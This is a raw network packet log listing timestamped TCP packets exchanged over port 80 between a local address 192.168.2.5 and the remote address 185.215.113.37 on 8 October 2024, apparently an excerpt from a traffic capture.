Oct 8, 2024 11:18:22.035725117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035734892 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035759926 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035778999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035794973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035834074 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035835981 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035849094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.035876989 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.035887003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036011934 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036024094 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036034107 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036043882 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036058903 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036061049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036072016 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036072969 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036084890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036096096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036103010 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036108017 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036118984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036120892 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036129951 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036139965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036142111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036154032 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036156893 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036180973 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036190987 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036214113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036222935 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036227942 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036258936 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036289930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036307096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036318064 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036328077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036329985 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036339998 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036350965 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036358118 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036380053 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036389112 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036461115 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036473036 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036483049 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036503077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036503077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036518097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036528111 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036530972 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036544085 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036559105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036559105 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036570072 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036572933 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036585093 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036587954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036596060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036602974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036607027 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036622047 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036643982 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036657095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036724091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036735058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036744118 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036768913 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036798954 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036879063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036890984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036900997 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036911964 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036921978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036925077 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036933899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036945105 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036948919 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036957026 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036972046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.036973000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036984921 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.036993027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037034988 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037070990 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037081957 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037091970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037110090 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037117958 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037128925 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037137032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037142038 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037153959 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037163973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037168980 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037180901 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037193060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037209034 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037231922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037242889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037252903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037262917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037272930 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037272930 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037283897 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037295103 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037297964 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037305117 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.037308931 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037333965 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.037349939 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.084325075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.084338903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.084350109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.084378004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.084408998 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.084414005 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.084424973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.084436893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.084448099 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.084484100 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.137959003 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.137979984 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.137991905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138003111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138022900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138030052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138036966 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138050079 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138051033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138063908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138076067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138082027 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138087034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138098955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138106108 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138112068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138123989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138128042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138134956 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138145924 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138145924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138168097 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138170004 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138185024 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138195992 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138196945 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138207912 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138210058 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138221979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138231993 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138238907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138242960 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138256073 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138266087 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138267040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138279915 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138289928 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138293028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138293028 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138300896 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138313055 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138323069 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138329029 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138339996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138346910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138353109 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138364077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138371944 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138375044 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138386011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138396025 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138397932 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138408899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138416052 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138426065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138437033 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138447046 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138447046 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138462067 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138469934 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138473988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138484955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138494968 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138503075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138503075 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138506889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138518095 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138529062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138535023 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138541937 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138559103 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138560057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138573885 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138583899 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138590097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138590097 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138596058 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138609886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138619900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138624907 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138633013 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138643980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138653040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138658047 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138668060 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138678074 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138689041 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138700008 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138710022 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138708115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138708115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138708115 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138720989 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138742924 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138753891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138761997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138763905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138761997 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138762951 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138777018 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138791084 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.138797045 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138823032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138823032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.138843060 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169465065 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169497967 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169507980 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169524908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169536114 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169538021 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169545889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169557095 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169559002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169570923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169574022 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169583082 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169595003 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169601917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169610023 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169614077 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169625998 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169636011 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169640064 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169648886 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169660091 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169672966 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169689894 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169734955 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169745922 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169756889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169766903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169770956 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169779062 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169789076 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169797897 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169799089 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169811010 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169826031 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169830084 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169846058 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169864893 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169872999 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169878006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169888973 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169898987 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169899940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169910908 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169919014 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169922113 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169934034 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169934034 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169948101 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169960022 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169964075 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169975042 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.169975996 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169987917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.169997931 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.170001030 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.170008898 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.170021057 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.170031071 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.170032978 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.170046091 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.170073032 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.178488970 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.178549051 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.178653002 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.178664923 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.178675890 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.178687096 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.178698063 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.178706884 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.178710938 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.178728104 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.178759098 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248172998 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248186111 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248195887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248205900 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248217106 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248226881 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248239040 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248261929 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248315096 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248339891 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248349905 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248359919 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248368979 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248378992 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248389006 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248398066 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248406887 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248410940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248410940 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248420000 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248435020 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248435974 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248445988 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248450994 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248457909 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248470068 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248478889 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248488903 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248493910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248493910 CEST	49706	80	192.168.2.5	185.215.113.37
Oct 8, 2024 11:18:22.248498917 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248516083 CEST	80	49706	185.215.113.37	192.168.2.5
Oct 8, 2024 11:18:22.248526096 CEST	80	49706	185.215.113.37	192.168.2.5
